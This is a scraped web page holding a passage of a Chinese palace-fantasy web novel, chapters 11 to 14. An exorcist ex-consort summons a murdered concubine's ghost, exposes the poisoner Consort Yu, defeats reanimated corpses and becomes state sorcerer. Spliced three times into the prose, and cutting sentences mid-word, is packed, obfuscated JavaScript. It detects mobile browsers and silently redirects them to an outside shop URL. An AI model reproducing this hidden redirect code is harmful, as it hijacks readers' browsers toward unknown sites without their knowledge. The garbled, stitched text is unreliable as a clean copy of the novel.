d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980572|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,紧紧贴着萧旭。 大臣们见状,纷纷低下了头,不忍直视。 “咳咳……” 萧旭顿觉有些尴尬,清了清嗓子:“爱妃你先站好,朕会问清楚的。” 他看向沈青宛,问道:“宛儿,这是怎么回事?” 沈青宛福身回道:“回皇上,臣妾身为六宫之主,理应整肃后宫。然宫闱之内,竟有蛇蝎之人,与国师勾结,残害皇嗣,致使无辜妃嫔或毁容,或小产,或殒命!” “此等恶毒风气,如若不铲除,后宫恐成人间炼狱。臣妾心如刀绞,岂能坐视不理!” 待沈青宛说完,愉妃的脸色已变得很难看。 萧旭看着沈青宛严肃的神情与如炬的目光,又看看一旁阴沉着脸的愉妃,问道:“所以宛儿,你的意思是,那人就是愉妃?” “正是,望陛下明察,以正宫闱!” 愉妃立即矢口否认:“皇后娘娘,你莫要血口喷人!本宫可从未做过你说的那些事。无凭无据,凭什么诬陷本宫!” 两人各执一词,局面陷入僵硬。 “要证据是吧。”李令曦等的就是这句话。 她早就准备好了。 “雪芽,去把刘美人身前最喜爱的那件裙子拿来。” “是,娘娘!” 雪芽连忙去拿过来一个木匣。 愉妃顿时脸色微变,慌了神。刘美人的衣服,怎么会在这儿?她们要干什么? 盒子打开,里面叠放着一件轻薄的罗衫裙,大红的颜色,如同鲜血般醒目。 目光一触到那抹红,愉妃眼前就浮现出了刘美人的身影。那因自缢而青紫肿胀的脸,微凸的眼睛,好像正死死地盯着她。 “快把这衣服拿走,拿走!”愉妃大声嚷着,挥舞着手,不敢再多看。 “你怕什么呀。” 李令曦伸手将衣服拿在手上,向愉妃走去。 更可怕的还没来呢,就吓成这样。 见那红色靠近,愉妃连连后退,害怕地乱了脚步,摔倒在地,嘴里还喃喃自语:“不要过来……是你自己要上吊的……” 这心虚的表现不禁令人生疑。此刻,萧旭看愉妃的眼神也多了抹狐疑。 李令曦却是径直路过了愉妃,拿着衣裙继续往火堆走去。 众人有些不解。 李令曦将红衣向火苗上空一扬,同时扔了一张符纸过去,贴在衣服正中央。随着火苗不断飘拂摆动,那衣服也像有了生命般,不仅没往下掉,还翩翩舞动起来。 “快看呐,那衣服竟然会跳舞!” “可不是嘛,一摇一摆,动作还挺像那么回事的。” 众人惊奇地指指点点。 愉妃瘫倒在地,目光也不由自主地被红衣跳舞的奇观给吸引了。 看着看着,她脸上露出惊恐的表情——那动作好生熟悉,不就是刘美人生前最擅长的凌波舞吗? 她慌乱不已,想要逃走,忽然听到一声叫喊。 “刘婉凝!” 愉妃顿时怔住了。是谁,谁在喊刘美人的名字? 李令曦喊出名字后,符纸立马自燃,顷刻间化为灰烬。紧接着,跳舞的红衣发生了变化,一个若隐若现的女子身影慢慢出现在衣服里。 跳着跳着,越来越清晰了。 当她转过身来,露出那张妩媚温柔的容颜时,众人都呆愣住了—— 分明是刘美人! 待反应过来,有些胆小的人不禁有些害怕了。 “刘美人三个月前不是上吊自尽了吗?” “她、这到底是人还是鬼啊!” “鬼魂现身,这也太诡异了……” 12. 第 12 章 李令曦让大家稍安勿躁。 “众位莫怕,我方才用死者生前最爱之物将其魂魄招来。目的是为了让死者能有机会说出未尽之语。她不会害人,放心吧。” 毕竟有的时候,人心可比鬼可怕多了。 李令曦让众人让开一条道。 刘美人抬眼一望,一下就看到了人群后面的愉妃,她原本温和的面容霎时变了,眼含恨意,猛地伸出一只手。 “愉妃,你害得我好惨,拿命来!” 愉妃吓得忙不迭转身就爬,可下一瞬,就被一股无法抗拒的力量给吸住了。 眨眼间,就被吸到了刘美人身前。 她艰难地挣扎着,想摆脱控制,却换来了刘美人更深的恨意。 “怎么?害怕了?当初你给我下药的时候怎么不怕啊!” 刘美人双手狠狠地掐上了愉妃的脖子,越来越用力。 “呃……救……我……” 愉妃毫无反抗之力,她痛苦地张开嘴,双眼直向上翻,呼吸困难,从喉间艰难地挤出求救的信号。 “这就承受不住了,啊?!知道我被缢死的时候有多痛苦吗?这一切,都是拜你所赐!” 见愉妃惨不忍睹的模样,萧旭忍不住开口了:“婉凝,朕知道你受委屈了,你先把她放了,有话好好说,可好?” “你放心,朕会为你做主的。” 听见萧旭的声音,刘美人手上的动作停下了。 “咳咳……” 愉妃终于得以呼吸,她大口大口地喘着气。 “好。” 刘美人稍微平静了些,她开始回忆起愉妃和自己的往事。 “我自幼喜爱跳舞,记得那时愉妃比我晚进宫几个月,她性格活泼爱笑,总是夸我舞跳得好。她隔三差五来找我说话,还让我教她跳舞,我还以为她是真心与我交好,便待她如姐妹。” “后来,我诊出有孕,她当时表现得比我还高兴,开心地祝贺我。她还经常给我拿些补品和小孩子的玩具,说她就是孩子的姨母,以后一定会对他好的。” 回想起那时的时光,刘美人眼里渐渐浮现出了水光。 “我真是天真呵……竟然就那么相信她,以为她真的是为我好,为孩子好。” “后来,我才知道,她做的这些全都是装的!她送给我的许多东西,其实都暗藏杀机。她先是买通了内务府,在香料中掺入夹竹桃,以其他花香来掩盖,然后又打着送药材和补品的旗号,偷偷混入红花等活血之物。” “最后,她还郑重其事地以‘开光祈福’为由,赠送了一枚玉佩,叮嘱我日日佩戴。”提起这些阴谋,刘美人满眼都是恨与悔。 “在她的计谋下,我每日与这些有毒之物接触,毒性慢慢侵蚀身子,逐渐变得体质虚弱,脉象不稳。最终,孩子还是没了……” “我却还一直以为是自己身体不好的缘故,从未怀疑过她。” 听到这里,沈青宛心里泛起了涟漪。 好一个开光祈福,好一个表里不一、蛇蝎心肠!难怪愉妃如此受宠,这心机手段果真与萧旭那厮如出一辙。 刘美人继续回忆道:“流产之后,我精神极差,整日忧思多虑。有一次,偶然去院中散心,却不料丫鬟挖出了一个刻有我生辰八字的木偶。我当场心理崩溃,一病不起。” “后来,愉妃又将国师带来,说我的孩儿死后魂魄不全,易滋生邪怨,要给我做法镇压。他们将事情闹得沸沸扬扬,下人们也到处传言,整个宫里乌烟瘴气。” “最后,我再也忍受不了,在一个月圆之夜,上吊自尽了。我死之后,怨念未散,滞留宫内,这才得知真相。” 除了愤怒,更有一种被信任之人背叛的剧痛,啃噬着她的心脏。 刘美人原本端庄的五官挤在了一起,变得狰狞可怖:“愉妃,你这个毒妇,你害得我们母子俩好惨!我要让你偿命!” 她伸出双手,再次将愉妃狠命掐住。 萧旭连忙出生阻止:“婉凝,你别——朕不是说了会为你做主吗,你又何必犯下杀孽呢?” 刘美人扭头看向萧旭:“皇上要怎么为我做主?您会杀了她吗!” 萧旭一愣,解释道:“这……朕会按照律例对愉妃进行惩罚。” 刘美人冷笑几声。 “呵……按照律例,罢黜妃位、打入冷宫?那她还不是活得好好的吗!难道我的孩儿就该死吗!?” 萧旭语塞,支支吾吾:“这、这也是没办法……” 沈青宛突然开口了:“皇上您别忘了,愉妃不仅害死了刘美人的孩子,还勾结国师,残害皇嗣。” “臣妾之前跌倒流产,跟愉妃也脱不了干系。崔昭仪去年花朝节被御兽园的猛兽扑咬毁容,至今未完全恢复,整日不敢见人,也是愉妃所为。” 刘美人附和道:“没错,那猛兽之所以会突然冲破笼子,就是因为愉妃事先在崔昭仪的衣服上浸泡了药粉。皇上你现在就可以派人去搜查愉妃住处,我知道那些害人的东西都放在何处。” 萧旭沉默了。 沈青宛淡淡提醒道:“崔昭仪之父乃辽东府提督,若崔昭仪毁容之事没有一个交待,臣妾恐怕……” 萧旭眉心一皱,抬起头思索着。 “皇上……救我……” 愉妃趁刘美人说话的空挡,还不死心地向萧旭求救。 刘美人回过头,一使劲,手上力气又加重了。 “你个毒妇,再敢多说一句,我现在就送你见阎王!” 李令曦怕刘美人真一不小心把愉妃给杀了,便上前说道:“你已是鬼魂,若再犯杀生,届时恐怕会下地狱,受刀山之罪。” “我不怕。只要能为我孩儿报仇,我甘愿受罚。岂能再让这种毒妇存活世间,为非作歹!” 李令曦轻叹了口气,很是钦佩刘美人的勇气。 “也是,像愉妃和宋青阳这般作恶多端之人,就算死后会堕入孽境地狱、蒸笼地狱、刀山地狱受酷刑,可若没人告发,侥幸逃脱,他们还不是照样活得好好的,可以在人间享受几十年。” “说起来,确实令人不齿。人呐,还是得做多好事,为自己积德。” 说着说着,李令曦慢慢走到萧旭身边,一字一句地道:“否则,不知哪天就会自食恶果。” 听了这句话,沈青宛也抬起头看着萧旭,深潭般清冷的眼中蕴含着复杂的情绪。 萧旭突然觉得脊背有些发毛,额头突突地跳。 皇后对他的态度,怎么跟以往有些不一样了。 还有李令曦的话,难道她知道些什么? 不,不会的,当年之事极为隐秘,且已过去二十多年。 她不会知道的。 萧旭不动声色地垂下眼眸。此刻,他已是被架在火上,必须得采取行动了,否则,难平众怒。 愉妃替自己干了不少事,看来是留不得了。 他抬起头,沉声下令:“愉妃私藏禁药,暗害龙胎,毁人容貌,勾结国师,种种行径之恶毒,实乃罪不可赦。传朕旨意,即刻将愉妃关押,择日与国师一同斩首。” 愉妃不可置信地睁大了双眼,目光中满是不甘与绝望。 她的双手向着萧旭的方向伸了出去,试图拉住什么,最终又无力地垂下了。 “皇上,你好狠的心啊……” 先是国师,后是愉妃。这二人的真面目终于被揭穿,也受到了应有的惩罚。 恶人伏法,沈青宛的神情却没有丝毫轻松愉悦。 她来到李令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李令曦迅速来到门前,警惕地道:“都先别动,我进去看看。” 没想到,这宋青阳还真是深藏不露,竟然弄了这么多暗室。 她站在门口感受了一下——没有活人气息,但是有微弱的死人气息。 “里面有尸体,而且不止一具。” 李令曦进去后,发现了尸体,她大声向门外的人说道。 “你们可以进来了。” 只见墙壁上,有五具尸体直挺挺地靠着上面。尸体摆放得整整齐齐,双手都垂在身侧,双腿并拢,很显然是死后被人运来的。 沈青宛走在最后面,当她看到尸体的样貌时,惊讶不已。 “这不是沉璧和陈嬷嬷的尸体吗?怎么会在这里?” 齐嫔也下来了,她也看到一个熟悉的面孔——“冯嬷嬷和……小太监?” 除了这四人之外,还有一个年轻女子是半年前病逝的一个宫女。这五人的死亡原因和时间各异,但此时却都出现在了国师的暗室里。 结合国师之前修炼的邪术,不得不令人感到诡异。 沈青宛皱着眉头:“曦妹妹,国师用这些尸体,究竟又是要干什么?” 李令曦一边凑上前去观察尸体的皮肤变化,一边回道:“根据死尸的情况来看,他是想炼尸傀术。” 萧旭又问:“什么是尸傀术?” 李令曦正看到第三具尸体,听见萧旭的问题,不耐烦地停下了脚步。 这狗屁皇帝怎么这么多问题啊? 她转过身子,冲着萧旭不客气地说:“脑子是个好东西,可惜有些人没有。尸傀术,顾名思义就是通过法术将尸体炼成傀儡,这样就可以控制他们去干一些坏事了。” “没文化,就得多学习。尽问一些蠢问题。” 堂堂一国之君,当众被一个弃妃说“蠢”,萧旭的自尊心自然受不了。 他浓眉倒竖,指着李令曦就要发怒:“你——” 不料才刚说了一个字,靠墙的最后一具尸体蓦地睁开双眼。 13. 第 13 章 尸体的双臂“歘”一声向上抬起,以非人的极快速度向萧旭扑过去。 猝不及防的,萧旭就被那具小太监尸体给牢牢抱住了。 “啊——什么东西!” 萧旭拼命挣扎,想甩掉尸体,无奈对方力气大的出奇,他怎么使劲也动弹不了。 尸体双眼泛着红血丝,张开干裂的嘴,露出森森尖牙。 “嗬……嗬……” 萧旭嗅到一股腐烂的恶臭味袭来,慌得不行,害怕地大喊道:“快来人啊,救驾!” 女眷们早已吓得躲了出去。大臣们在一旁干着急,“皇上!” 侍卫们拿着武器在原地,犹犹豫豫。对付人没问题,可关键对方是尸体啊!就不说那速度和气力非常人能及,光是样子也足够吓人的了。 李将军拨开众人,英勇上前:“让我来!” 因深夜进宫,他未带兵器,但此时情况凶险,他赤手空拳也得上。 “恶贼,看拳!” 李将军大喝一声,向着尸体冲过去,同时抡起右臂,狠狠锤向尸体的头。但尸体却非常灵活,迅速转动头部方向,躲过一击。 李将军怒目圆睁,继续发动攻击,却都被尸体轻松躲开。 尸体还将萧旭抱在身前,用他来抵挡,这让李将军不得不小心,免得伤到皇上。 “可恶!” 李将军累得满头大汗,正停下来想办法,忽然听见尸体嘴里发出一阵类似呼喊的声音。 那声音并不大,却莫名让人有些不安。 李令曦正把沈青宛她们安全撤离到地上,待匆匆返回,正听见这声音响起。 她心下一惊:“不好,这是尸体在向他的同伴发出讯号,他要唤醒其他尸体!”在声音的作用下,第二具尸体也苏醒了,她迅速地将李将军给死死困住。 在场的其他人惊慌失措,跑的跑,晕的晕。 剩下几个忠心的,也手无缚鸡之力,根本无计可施。 萧旭感觉到自己脖颈处抵上了一个尖锐冰凉的东西,顿时吓得手脚发凉,额上渗出了一层细密的冷汗。 就在他以为自己要一命呜呼时,视线中出现了一个淡青色的身影。 是李令曦! 萧旭顿时觉得有了希望,他从未像此刻那样,这么地期盼李令曦的到来。 “快!快救朕!”萧旭迫不及待地喊道,“曦儿,只要你救下朕,朕一定会满足你的心愿!” 李令曦有些莫名其妙,她的心愿,萧旭怎么会知道? “朕会让你重获恩宠,重回妃位!” 李令曦嘴角抽搐了一下,很是无语。 原来如此,这狗皇帝也太自以为是了吧。 见李令曦站在原地,未有所行动,萧旭觉得是自己给出的条件还不够,于是继续喊道:“不,朕让你当贵妃!” 李令曦继续不动,想看看这个贪生怕死的男人狗嘴里还能吐出什么狗牙。 萧旭眼一闭,嘶哑地吼道:“皇后!朕让你当皇后总可以了吧?” “呵。” 李令曦替沈青宛庆幸,幸亏她在上面,没听见萧旭的话,否则又得伤心了。 她站起身来,右手迅速结印,在左手上画了一道金符,向李将军身上的尸体拍去。 尸体发出痛苦的惨叫,不甘心地倒下了。 李将军重获自由,向李令曦抱拳:“多谢!” 萧旭越发着急,语气中带着埋怨:“李令曦,朕乃一国之君,你为何不先来救朕!你就是想以此为筹码,跟朕讲条件。” “朕已经说了,让你当皇后还不行吗?!” 李令曦发现,人无语到极点的时候,真的会笑。就比如她现在,真的很想掰开萧旭的脑瓜子,看看里面到底装了什么。 “你快闭嘴吧你。”不过说到讲条件,李令曦突然有了一个想法。“救你可以,你自己说的承诺,可别食言。” “还请李将军和众位大人们做个见证。” 萧旭使出浑身力气抵抗着尸体的啃咬,急得汗如雨下:“君无戏言!快啊!” 李令曦用同样的方法将萧旭从尸体齿下解救出来。 终于得救,萧旭顿时松了口气。 他连忙甩了甩衣袖,理好弄乱的衣服,又擦去额上汗水,整了整发冠,好不容易恢复了身为帝王的体面。 剩下的三具尸体,虽还未被唤醒,但也随时会有危险。李令曦用金符解除了他们身上的法术控制,然后命侍卫将尸体焚烧了。 李将军对刚才的惊险一幕仍心有余悸,问道:“这些尸体都已经死了,为何会突然攻击人呢?” 李令曦解释道:“从这些尸体的情况来看,尸傀术还并未完全炼成。尸体现在不会主动攻击人,除非受到人的指使。方才应该是宋青阳在牢房里用了什么信号来操控尸体。” 萧旭嫌恶地嗅了嗅自己衣服上的臭味,眉头紧皱,他有些不自在地清了清嗓子:“咳咳……说吧,你想要什么?” 李令曦转过身来,未施粉黛的容颜如清水芙蓉般。 萧旭轻轻挑眉,唇角微微勾起,心底暗暗自喜。李令曦,这下你还不是要成为朕的女人,呵! “我要当大国师。还要你赐予金牌,让我能够自由出入宫中,负责处理这天下玄门之事。” “什么!?” 萧旭幻想破灭,以为自己听错了:“你不想重回妃位嘛,为什么?” 李令曦摊开双手,略一耸肩。 “当然是因为,我对你毫无兴趣咯。体虚肾亏的烂黄瓜,谁稀罕啊!” 体虚,肾亏…… 萧旭愣了一会,才反应过来自己听到了什么。 他脸色铁青,气愤到了极点,眼中怒火燃烧:“李令曦,你、你竟敢如此说朕,你不想活了吗?!” 身为一个男人,全天下最尊贵的男人,竟然当众被这个自己得不到的女人说出如此大逆不道的话…… 萧旭觉得自己受到了侮辱,极大的侮辱。 李令曦无所谓地摊开双手,漫不经心地道:“不过是说了句实话,你怎么气成这样,恼羞成怒了?” “刚救了你的命,你就要杀了我。堂堂帝王,就是这么对待救命恩人的吗?” 萧旭此刻体会到了什么叫羞愤,什么叫绝望:“你——” 李令曦却懒得与他继续纠缠,转过身继续说道:“言归正传。如你们所见,前国师宋青阳不仅资质平平,还道德败坏,大逆不道。他这样的人在大兴朝竟然当了二十多年的大国师,简直是国之耻辱,民之不幸。” “而今他已下台,国师之位空缺。那我就勉为其难,顶上这个空缺喽!” 萧旭还未说话,有几个大臣就提出了反对意见。 “皇上,老臣以为‘祖宗之法不可变’,自古女子不得干政,这是规矩啊!” “臣附议,‘牝鸡司晨,惟家之索。’大国师之位关系国家安危,怎可由女子担任?” 李令曦立即毫无留情地反驳道:“什么祖宗之法,规矩制度,这些都是人定的。规矩是死的,人是活的。圣人尚且‘不凝滞于物,而能与世推移’呢。” “你们这些饱读诗书的国家栋梁,如此思想狭隘,古板顽固,不知变通,还指望你们能干什么实事出来?” “我李令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980574|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦的规矩就是,谁有能力谁就干,谁干得好就继续干,管她是男是女,是老是少!” “女子又如何?若非世俗以条条框框将女性束缚在内宅庭院,她们也定能施展出自己的能力来。” “什么‘牝鸡司晨’,怎么不说‘牡鸡司蛋’呢?” “世人总是喜欢把一些帽子往女子身上扣。什么阴阳倒置,红颜祸水……究其根本就是偏见,就是苛刻,甚至是造谣生事。” 刚才反对的大臣被李令曦的一番言辞震撼到了,下意识地欲出言反驳。 “你、你这……” 李令曦却不给他机会,直接打断。 “你什么你?” “现在口口声声指责我,刚才皇上性命垂危之时,怎么不见你上去救驾啊!” 她又来到另一个大臣面前,冷笑一声:“还有你,嘴上的道理一套一套的,怎么一遇到危险,就急着逃跑了?难道这就是阁下的‘祖宗之法’,圣贤书上的‘君君臣臣’吗?” 李令曦的质问字字如针,句句见血,两个大臣被怼得哑口无言,脸色红了又白,白了又红。 一种羞惭感袭来,他们顿时失去了辩驳的气力,只能汗颜地沉默着。 “皇上,臣倒是觉得曦妃娘娘说的不无道理。”李将军站了出来。 方才的辩论他尽收耳中,李令曦的言论,乍一听的确有些离经叛道。但细想之下,也让他颇有感触。 无论是捉鬼救人的本领,还是新颖深刻的思想,都让他对李令曦刮目相看。 他拱手向萧旭建议道:“曦妃娘娘的能力,有目共睹,臣认为若由她来担任大国师,并无不妥。” 李令曦看了眼李将军,点头赞叹道:“疾风知劲草,板荡识诚臣。李将军赤手空拳对付尸体,勇气可嘉,这才是真男人啊!” 此语一出,某些人脸上的汗更多了。 见向来沉稳能干、英勇正直的大将军出言赞同,剩下的其他大臣们也纷纷站出来表态。 “微臣认同李将军的看法。” “臣附议。” “臣附议。” …… 萧旭有些失落,但既已允诺,不好再说什么。 于是只能深吸一口气,说道:“众卿之意,与朕相同。朕答应你。” 第二日。 朝堂之上,众臣肃穆。 萧旭身边的宣旨太监缓缓打开圣旨,高声念道:“奉天承运皇帝,诏曰——即日起,册封李令曦为护国佑圣大国师,总领钦天监及天下玄门事务,赐金牌令箭,准其宫中内外,自由行走,便宜行事!钦此!” 李令曦身着一身玄色法袍,缓缓走过去,微微欠身接过圣旨:“臣领旨谢恩。” 她姿态从容自信,带着一丝威严,目光扫过大殿上跪伏的众人,走到臣子队伍的第一个位置。 从头到尾,没留一个眼神给龙椅上的萧旭。 甚至连跪都没跪。 萧旭的薄唇抿成了一条直线,心中有些气恼,但终究没说什么。 通过这些天的事情,萧旭已经认识到一个事实——李令曦,已经不是过去那个李令曦了。 昨夜之事,并非所有朝臣都亲临现场,故而下了朝之后,不免出现了一些议论的声音。 大臣们三三两两结伴而行,议论的对象,自然就是李令曦。 打入冷宫的弃妃,摇身一变,成了本朝具有极高荣誉和地位的大国师。 着实是一件大事。 人群之中,突然有一个声音响起,引人瞩目:“玄学之事本就虚无缥缈,如今还委任于一妇人,恐非社稷之福,陛下实在糊涂啊!” 14. 第 14 章 其他人循声望去,声音的主人是当今的礼部尚书章大人。他身旁分别是工部侍郎王大人和武威将军廖大人。 二人虽未直接言说,但看向李令曦的神情和眼神已说明了一切。 章尚书之言犹如一颗石子入水,激起了层层涟漪。 李令曦知道,在这个时代,她就算当上了大国师,可并不代表未来之路就会顺畅无虞,尤其是在刚刚接任的关键时期,资历尚浅,身份敏感,众人难免不信服。 面对质疑,沉默和退缩不是李令曦的风格,她露出一抹高深莫测的微笑——此番质疑恰好是个机会。 李令曦转过身去面对群臣,声音平静却透着不容置疑的力量:“诸位大人的疑虑,皆是出于为国忧虑之心,可见赤胆忠诚。” “然,玄学之道,存乎天地,验于自身,绝非虚无缥缈。不如,让本座为几位大人略观气色,以证虚实?” 说罢,她便径直走向章尚书,最后停在他面前:“章大人,您近来是否每到入睡之时,便心口绞痛,冷汗涔涔,直到丑时才得以缓解?” 章尚书的目光微微抬起,眼神中闪过一丝诧异。 “府上东北方向的书房,最近是否总传来异样的响声,让您心绪不宁?” “你、你怎会知道?” 章尚书双眼顿时瞪大,眼中情绪波动明显,显得很是不可思议。 李令曦并未回答,而是压低了声音,轻轻说道:“您书架上珍藏着一本前朝绝版医书,里面夹着的那张泛黄的药方,便是症结所在。” 顿时,章尚书脸色变得煞白起来,再加上他眼下因休息不好而浮现的青黑,整个人看上去摇摇欲坠。 身旁的廖将军连忙眼疾手快地扶住他。 李令曦踱着脚步,又来到廖将军跟前:“廖将军,您背上的旧伤,每逢阴雨天气便疼痛难耐,犹如万蚁噬咬。是也不是?” 廖将军下巴微抬:“不错,不过这也不是什么秘事。” 言下之意是,这事只需有心打听便可知道。 他还是觉得李令曦是在故弄玄虚。 “您书房里悬挂着的那柄‘宝剑’,煞气冲天,非但不能镇宅驱邪,反而会招致不祥之物。另外,上月三五之夜,您在城外林中所见……也并非幻象。” 廖将军虎躯一震,面露骇然之色,目光停驻在李令曦身上。 他很惊讶,那柄宝剑是在边塞偶然得到,除家人之外,无人知晓,还有城外林中的不寻常之事,当时只有他和手下的副将见到了。 自己的府中秘事、诡异经历,竟然能精确到时间地点…… 这个女人,她到底是怎么做到的? 眼见章尚书与廖将军都一脸不可置信,王侍郎很是意外,内心突然有些不安。 看样子,这位从冷宫出来的新晋国师并非浪得虚名,颇有些本领,竟把两位大人的隐秘之事都给算出来了…… 那接下来,岂不是轮到自己了? 王侍郎嘴唇微微抖动着,张开嘴欲言又止,一抬眼就见李令曦正盯着他的脸,仔细地看着。 那幽深的眼神似乎洞察了一切。 王侍郎只觉得脊背有些发凉,指腹无意识地相互摩擦着,手心已濡湿。 “王大人。” “哎,啊?” “您是位疼爱儿子的好父亲啊。”李令曦在他身边踱着步,“您忧心长子的前程,不辞辛苦、千里迢迢托人往西南边陲赠送厚礼。可惜啊,半月前收到的回信,却并未传来好消息,而是带来了一场破财之兆。” “另外,您家的宅院中,有一棵上百年的梅树吧?” 王侍郎战战兢兢,以明显小了许多的声音嗫嚅地回道:“是……那又如何?” “那老树的根须之下,埋着本不该埋在此处的东西。此物若不及时除去,家宅难安啊!” 一语完毕,王侍郎浑身开始颤抖起来,如遭雷击般惊慌失措。 送礼之事极其隐蔽,梅树下的东西更是自己亲自去办的…… 她究竟是怎么知晓的! 这个女人……太可怕了! 为三位大人算完之后,李令曦只揭露了关键的信息,并未深入透露细节。 当着众人,还是给他们留了一丝颜面。 但这已足够令人震惊了。 章尚书、廖将军和王侍郎此时面色都有些难看,看向李令曦的眼神中透着难以掩饰的惊惶之色。 李令曦略一拂袖,走到人群中央,语气变得和缓了一些:“本座观诸位大人气运,或家宅不宁,或隐疾缠身,或前程有碍,此等种种皆因不明玄理,沾染晦物所致。” “本座之言,绝非危言耸听。若诸位大人信得过,待此间事了,可随时来找。本座愿意登门拜访,略施小术,为大人们化解一二。” “毕竟,各位大人可都是我大兴朝的国之栋梁,你们身康体健、家宅安宁,方能为陛下分忧,为社稷效力。” 此语如同一石激起千层浪,众臣内心的震撼远超之前,尤其是刚才被点名道姓的三人。 犹豫了片刻,王侍郎第一个站了出来,他声音微微发颤,俯身恭敬地向李令曦拱手行礼。 “大国师慧眼如炬,神通广大,之前是……是老臣愚钝狭隘,还请国师见谅。” 章尚书是个老学究,尚且有些拉不下脸面,但也站直了身子,拱手向李令曦行了个礼。 但作为顽固派之首,清流文官的代表,此举已然传递出了重要的信号。 见两位大人表明了态度,剩下的大臣们不由纷纷倒戈。 …… 见收效甚好,李令曦也不再逗留,抬起步子准备回自己的居处。 殿外的人群慢慢散开。 正走着,李令曦察觉到有人靠近。扭头一看,是一位身穿绯红色官服的中年男子,正快步向她而来。她停下脚步:“何事?” 男子微微躬身,恭敬说道:下官有一疑难之事,不知可否请国师解惑?” “可以。明日再说吧。” 男子疑惑:“如今天色尚早,国师可是有事要忙……” 李令曦悠悠解释道:“非也。本座一日只算三卦。” 刚才给那三位大人已经算了三卦了。 “只算三卦……可国师您本事超凡,这又是为何?” 李令曦转身,留给对方一个背影。 “玄理之事,乃窥探天机,若是多了,会遭反噬的。” 男子怔怔地停在原地,猛地一拍手。 “哎呀,可不是这个理儿嘛,明日,定要早早去找国师!” 李令曦向着冷宫的方向而去,路上经过永春宫,便顺道进去看看雪芽。 永春宫的下人都认识李令曦,一见她进来,连忙行礼问候。 “曦妃娘娘您来了。” “曦妃娘娘午安。” “不必多礼,雪芽在哪里?” “回娘娘,雪芽在后厨做事,我这就去叫她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980575|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 雨兰笑着回复,然后极有眼力见的跑去找雪芽了。 不一会儿,雪芽来了,见到李令曦有些惊讶地问道:“娘娘,您今日怎么换了一身玄色衣服?” 往日李令曦都是一身白或青,乍一看有些不习惯了。 这时,齐嫔听了宫女的通报,也连忙出来迎接:“曦姐姐,您来怎么也不提前跟我说一声,快,咱们去屋里坐!” 齐嫔一边把李令曦往屋里请,一边吩咐道:“还不快去给曦妃娘娘沏茶,就沏我架子上的明前龙井。” “曦姐姐,我的好茶都舍不得喝,就等着你来呢!” 李令曦点头微笑:“那我可有口福了。” 坐着说了会话,宫女把茶杯端来了:“曦妃娘娘请用茶,小心烫。” 李令曦纠正道:“往后别叫我娘娘了,从今天开始,可以称我‘大人’。” “大人?”齐嫔一愣。 “从今天起,我就是护国佑圣大国师了。” “真的?那太好了,恭喜姐姐!” 雪芽在一旁也很开心,笑得眉眼弯弯,主子终于可以摆脱过去的生活了,太好啦! “恭喜大人!” 为表庆祝,齐嫔热情地邀请李令曦留下来一同用午膳。盛情难却,李令曦也不想自己再动手,于是便答应了。 雪芽摩拳擦掌,迫不及待去厨房准备好菜。 膳后,李令曦让雪芽留下。 “雪芽,眼下我已不是后宫妃嫔了,你可还愿意跟着我?” 雪芽惊喜不已,一双圆溜溜的眼睛瞪得大大的:“大人……您的意思说,您还愿意让我去伺候您吗?” 李令曦歪了歪头,纠正道:“伺候倒也谈不上,姑且算我的助手吧。” 李令曦不是尊卑观念的古代人,也不是养尊处优的上层人,很多事情她已养成了自己做的习惯。不过既已为官,一些琐碎事务她有时无暇处理,的确需要一个人帮忙分担。 雪芽这个小姑娘,为人踏实勤恳,忠厚善良,是个不错的选择。 “怎么样,你可愿意?” 雪芽小鸡啄米似的连连点头,重重答应:“回大人,我愿意!” 李令曦又回头跟齐嫔商量道:“不知齐嫔娘娘可否把雪芽让给我呢?” 齐嫔大方地一挥手:“自然是没问题。” 君子成人之美,更何况雪芽本就是李令曦身边的人,这个顺水人情她何乐而不为呢。 李令曦站起身:“那就多谢美意了。” 见李令曦要走,齐嫔问道:“姐姐可是要去青阳宫安顿?” “不是。青阳宫出了事,要重新修缮一番,我跟萧旭要了一处僻静的居所,眼下还未清扫,待过两天再住过去。” “那姐姐岂不是暂无落脚之处,如若不嫌弃,可在妹妹这里暂时住下。” 李令曦谢绝了齐嫔的好意:“不了,我回冷宫去。” 冷宫虽偏僻,条件差些,但胜在幽静,无人打扰。 齐嫔知道李令曦的性子,便不再挽留。临走时,吩咐丫鬟给李令曦装了一包吃食和茶叶。 雪芽揣着包裹,迈着欢快的小碎步跟在李令曦身后,一主一仆向冷宫走去。 翌日清晨。 院内,雪芽正在清扫,李令曦端坐床上练功。 一片宁静祥和。 “咚咚……”敲门声响起。 雪芽去开门,惊讶道:“小康子,你怎么来了?” 15. 第 15 章 